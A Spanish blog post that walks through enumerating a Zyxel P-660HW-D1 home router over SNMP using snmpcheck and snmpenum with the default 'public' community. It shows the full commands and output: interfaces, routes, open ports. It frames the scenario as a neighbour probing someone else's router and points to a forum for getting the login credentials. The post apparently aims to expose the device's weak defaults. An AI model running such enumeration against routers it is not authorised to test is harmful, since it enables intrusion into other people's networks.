Para demostrar su seguridad he decidido usar la distribución linux Backtrack 5. Con esta distribución voy a tratar de sacar toda la información disponible sin el correspondiente usuario y contraseña de dicho router.
Para ello, supongamos que somo un vecino un tanto curioso y hemos conseguido acceder a la red wifi de otro vecino, o que queremos acceder al router de otra persona desde internet.
Vamos al lio.
Mediante el siguiente comando vamos a sacar toda la información que podamos:
* snmpcheck es un simple script en perl que se usa para enumerar información en equipos que usan SNMP.
./snmpcheck-1.8.pl -t 192.168.1.1
snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)
[*] Try to connect to 192.168.1.1
[*] Connected to 192.168.1.1
[*] Starting enumeration at 2011-xx-xx xx:xx:xx
[*] System information
-----------------------------------------------------------------------------------------------
Hostname : XXXXXXXXX
Description : P-660HW-D1
Uptime system : 0.00 seconds
Uptime SNMP daemon : 6 day, 00:35:24.00
Contact : 7
Motd : -
[*] Network information
-----------------------------------------------------------------------------------------------
IP forwarding enabled : 1
Default TTL : 60
TCP segments received : 5559
TCP segments sent : 218
TCP segments retrans. : 0
Input datagrams : 30696443
Delivered datagrams : 27865114
Output datagrams : 74042
[*] Network interfaces
-----------------------------------------------------------------------------------------------
Interface : [ up ] enet0
Hardware Address : 00:02:ff:ff:ff:ff
Interface Speed : 100 Mbps
IP Address : 10.000.000.000
Netmask : -
MTU : 1500
Bytes In : 4343040 (4.2M)
Bytes Out : 3994632829 (3.8G)
Interface : [ up ] enet1
Hardware Address : 00:ff:ff:ff:ff:ff
Interface Speed : 10 Mbps
IP Address : 172.000.000.000
Use of uninitialized value within @netmask in concatenation (.) or string at ./snmpcheck-1.8.pl line 690.
Netmask :
MTU : 1500
Bytes In : 84293324 (81M)
Bytes Out : 1917123332 (1.8G)
Interface : [ up ] pppoe
Interface Speed : 0.646 Mbps
IP Address : 192.168.1.1
Use of uninitialized value within @netmask in concatenation (.) or string at ./snmpcheck-1.8.pl line 690.
Netmask :
MTU : 1536
Bytes In : 1961176363 (1.9G)
Bytes Out : 115201159 (110M)
Interface : [ up ] mpoa
Interface Speed : 0.646 Mbps
IP Address : 192.168.249.1
Use of uninitialized value within @netmask in concatenation (.) or string at ./snmpcheck-1.8.pl line 690.
Netmask :
MTU : 1528
Bytes In : 3696453280 (3.5G)
Bytes Out : 2598373 (2.5M)
[*] Wait...don't stop snmpcheck.pl...
[Resultado omitido ....]
Otra forma de sacar información:
./snmpenum.pl <IP address> <comunity> <config file>
Es conocido que este equipo tiene una comunity publica configurada por defecto, "public".
./snmpenum.pl 192.168.1.1 public cisco.txt
Y nos dice lo siguiente:
[*] Try to connect to 192.168.1.1
[*] Connected to 192.168.1.1
[*] Starting enumeration at 2011-xx-xx xx:xx
[*] System information
-----------------------------------------------------------------------------------------------
Hostname : XXXXXXX
Description : P-660HW-D1
Uptime system : 0.00 seconds
Uptime SNMP daemon : 16 hours, 49:12.00
Contact : 7
Motd : -
[*] Network information
-----------------------------------------------------------------------------------------------
IP forwarding enabled : 1
Default TTL : 60
TCP segments received : 711
TCP segments sent : 63
TCP segments retrans. : 0
Input datagrams : 8541519
Delivered datagrams : 7574946
Output datagrams : 20162
[*] Network interfaces
-----------------------------------------------------------------------------------------------
Interface : [ up ] enet0
Hardware Address : 00:ff:ff:ff:ff:ff
Interface Speed : 100 Mbps
IP Address : 10.000.000.000
Netmask : 255.255.255.248
MTU : 1500
Bytes In : 786662 (769K)
Bytes Out : 553112655 (528M)
Interface : [ up ] enet1
Hardware Address : 00:ff:ff:ff:ff:ff
Interface Speed : 10 Mbps
IP Address : 172.000.000.000
Netmask : 255.255.254.0
MTU : 1500
Bytes In : 29586590 (29M)
Bytes Out : 842058882 (804M)
Interface : [ up ] pppoe
Interface Speed : 0.646 Mbps
IP Address : 192.168.1.1
Netmask : 255.255.255.0
MTU : 1536
Bytes In : 851557062 (813M)
Bytes Out : 40390493 (39M)
Interface : [ up ] mpoa
Interface Speed : 0.646 Mbps
IP Address : 192.168.000.000
Netmask : 255.255.255.252
MTU : 1528
Bytes In : 477457249 (456M)
Bytes Out : 545474 (533K)
[*] Routing information
-----------------------------------------------------------------------------------------------
Destination Next Hop Mask Metric
0.0.0.0 0.0.0.0 255.255.255.255 2
[ Informacion omitida ....]
[*] Listening TCP ports and connections
-----------------------------------------------------------------------------------------------
Local Address Port Remote Address Port State
0.0.0.0 21 0.0.0.0 - Listening
0.0.0.0 23 0.0.0.0 - Listening
[*] Listening UDP ports
-----------------------------------------------------------------------------------------------
Local Address Port
0.0.0.0 161
0.0.0.0 1900
[*] Enumerated 192.168.1.1 in 1.57 seconds
***************************************************************************
***************************************************************************
***************************************************************************
----------------------------------------
PROCESSES
----------------------------------------
----------------------------------------
IP ADDRESSES
----------------------------------------
[Informacion omitida .....]192.168.1.1
192.168.249.1
----------------------------------------
UPTIME
----------------------------------------
16 hours, 59:36.00
----------------------------------------
HOSTNAME
----------------------------------------
XXXXXXXXXX
----------------------------------------
SNMPcommunities
----------------------------------------
Como podemos ver, hemos conseguido saber la publica y privada, ancho de banda, redes conectadas al router, puertos abiertos, etc, información a la que no deberíamos tener acceso. Igualmente fácil es sacar el usuario y la contraseña de este equipo. Para saber como podéis consultar las siguientes web:
http://foro.bitsdelocos.es/hacking/vulnerabilidad-en-los-puertos-del-zyxel-si-teneis-uno-cuidado!!/
No hay comentarios:
Publicar un comentario